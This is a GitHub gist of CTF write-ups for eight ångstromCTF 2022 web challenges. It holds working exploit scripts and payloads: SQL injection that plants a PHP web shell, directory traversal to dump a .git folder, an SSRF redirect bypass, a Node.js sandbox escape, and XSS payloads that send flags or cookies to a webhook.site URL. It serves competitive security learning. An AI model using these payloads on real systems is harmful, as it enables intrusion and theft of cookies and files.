Skip to content

Instantly share code, notes, and snippets.

@lebr0nli
Last active May 4, 2022 16:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lebr0nli/d0157cd4085cbdc299a76660f7166885 to your computer and use it in GitHub Desktop.
Save lebr0nli/d0157cd4085cbdc299a76660f7166885 to your computer and use it in GitHub Desktop.
solutions for the challenges I solved in ångstromCTF 2022

The Flash

You can notice that the real flag appears sometimes and disappear really fast.

So there most has a setInterval or setTimeout in source code...

Bingo!

pacth for flash.js:

...
setInterval(()=>{
    const _0x24a935 = _0x15c166;
    Math[_0x24a935(0xd1, '&EwH')]() < 0.05 && (x[_0x24a935(0xdc, '1WY2')] = [0x73, 0x71, 0x80, 0x6e, 0x89, 0x81, 0x84, 0x41, 0x41, 0x70, 0x8b, 0x65, 0x78, 0x43, 0x79, 0x6f, 0x65, 0x80, 0x7c, 0x41, 0x65, 0x6e, 0x78, 0x40, 0x81, 0x7c, 0x87][_0x24a935(0xdb, 'H3tY')](_0x4cabe2=>String[_0x24a935(0xd8, 'Ceiy')](_0x4cabe2 - 0xd ^ 0x7))[_0x24a935(0xe0, '1WY2')](''),
    setTimeout(()=>x[_0x24a935(0xe3, '5HF&')] = _0x24a935(0xde, '($xo'), 0xfffffff));
}
, 1);
...

flag: actf{sp33dy_l1ke_th3_fl4sh}

Secure Vault

  1. Create a random account
  2. Delete it
  3. Use after delete
import requests
import os

HOST = 'https://secure-vault.web.actf.co/'

def main():
    s = requests.session()
    s.post(HOST + 'register', {
        'username': os.urandom(10).hex(),
        'password': os.urandom(10).hex()
    })
    saved_cookie = s.cookies.copy()
    s.post(HOST + 'delete')
    s.cookies = saved_cookie
    print(s.get(HOST + 'vault').text) # actf{is_this_what_uaf_is}

if __name__ == '__main__':
    main()

flag: actf{is_this_what_uaf_is}

No Flag?

  1. SQLi -> Create a new database with php code
  2. Run /printflag
import requests
import os

HOST = 'https://no-flags.web.actf.co/'

SHELL = os.urandom(16).hex() + '.php'

SQL = f'''x');
ATTACH DATABASE '/var/www/html/abyss/{SHELL}' AS x;
CREATE TABLE x.y (dataz text);
INSERT INTO x.y (dataz) VALUES ('<?=system("/printflag");?>');--
'''

def main():
    s = requests.session()
    s.post(HOST, data={
        'flag': SQL
    })
    # print(s.get(HOST + f'abyss/{SHELL}').content.split('\n')[-1])
    print(s.get(HOST + f'abyss/{SHELL}').content.split(b'\n')[-1].decode()) # actf{why_do_people_still_use_php}

if __name__ == '__main__':
    main()

flag: actf{why_do_people_still_use_php}

Art Gallery

  1. Found git: https://art-gallery.web.actf.co/gallery?member=../.git/HEAD
  2. Use GitHacker to download full .git/
  3. Recover secret
$ githacker --url 'https://art-gallery.web.actf.co/gallery?member=../.git/' --output-folder chall_git
$ cd chall_git/*
$ git log
commit 1c584170fb33ae17a63e22456f19601efb1f23db (HEAD -> master, origin/master, origin/HEAD)
Author: imposter <sus@aplet.me>
Date:   Tue Apr 26 21:47:45 2022 -0400

    bury secrets

commit 713a4aba8af38c9507ced6ea41f602b105ca4101
Author: imposter <sus@aplet.me>
Date:   Tue Apr 26 21:44:48 2022 -0400

    remove vital secrets

commit 56449caeb7973b88f20d67b4c343cbb895aa6bc7
Author: imposter <sus@aplet.me>
Date:   Tue Apr 26 21:44:01 2022 -0400

    add program
$ git checkout 56449caeb7973b88f20d67b4c343cbb895aa6bc7
$ ll
total 80
-rw-r--r--  1 alanli  wheel   288B  4 30 17:18 error.html
-rw-r--r--  1 alanli  wheel    45B  4 30 17:21 flag.txt
drwxr-xr-x  6 alanli  wheel   192B  4 30 17:18 images
-rw-r--r--  1 alanli  wheel   729B  4 30 17:18 index.html
-rw-r--r--  1 alanli  wheel   492B  4 30 17:18 index.js
-rw-r--r--  1 alanli  wheel    17K  4 30 17:18 package-lock.json
-rw-r--r--  1 alanli  wheel   275B  4 30 17:18 package.json
$ cat flag.txt
actf{lfi_me_alone_and_git_out_341n4kaf5u59v}

flag: actf{lfi_me_alone_and_git_out_341n4kaf5u59v}

Xtra Salty Sardines

  1. Since replace('<', '&lt;') can only replace the first match:
<><script>fetch(`/flag`).then(t=>t.text()).then(t=>location=`https://webhook.site/ab3b2b89-85a9-4e4a-a684-517c5f406ff2?f=`+encodeURIComponent(t))</script>
  1. Get link (https://xtra-salty-sardines.web.actf.co/sardines/gysakctysy)

  2. Send to admin

flag: actf{those_sardines_are_yummy_yummy_in_my_tummy}

School Unblocker

Use redirect to bypass ip check

curl -i -s -k -X $'POST' \
    -H $'Host: school-unblocker.web.actf.co' -H $'Content-Length: 115' -H $'Content-Type: application/x-www-form-urlencoded' \
    --data-binary $'url=http%3A%2F%2Fhttpbingo.org%2Fredirect-to%3Fstatus_code%3D307%26url%3Dhttp%253A%252F%252F127.0.0.1:8080%252Fflag' \
    $'https://school-unblocker.web.actf.co/proxy'

flag: actf{dont_authenticate_via_ip_please}

Cliche

After some testing, I found that marked.parse will split the html tag in [<tag>](#</tag>), for example [<h1>](#</h1>) will be parsed to <p><a href="#%3C/h1%3E"><h1></a></p>.

As you can see, <h1> is a broken HTML tag without closing it.

And I also found that DOMPurify.sanitize won't change any character of <style onload=alert(1)> in <p x='<style onload=alert(1)>'><p>.

So I started thinking, what if I split the tag with XSS payload by using link markdown?

Bingo!

The following markdown:

[<p x='<style onload=alert(1)>](#'></p>)

will be parsed to:

<p><a href="#x">&lt;p x=&#39;<style onload=alert(1)></a></p>\n

Solution:

[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)
https://cliche.web.actf.co/?content=%5B%3Cp%20x%3D'%3Cstyle%20onload%3Deval(atob(%2FbG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk%2F.source))%3E%5D(%23'%3E%3C%2Fp%3E)

webhook result:

flag=wow%2C%20you%20got%20it%20in%20one%20go%2C%20it'd%20be%20cool%20if%20you%20could%20show%20me%20your%20solution%3A%20actf%7Bmy_code_is_upside_down_topsy_turvy_1029318%7D

flag: actf{my_code_is_upside_down_topsy_turvy_1029318}

CaaSio PSE

  1. use eval(unescape(/%2f%0aPAYLOAD%2f/)) to eval any payload with URL encoded char in blacklist.
  2. eval
this.constructor.constructor("return(process.mainModule.require('fs').readFileSync('flag.txt','utf8'))")

for the win.

final payload:

eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()

flag: actf{omg_js_is_like_so_quirky_haha}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment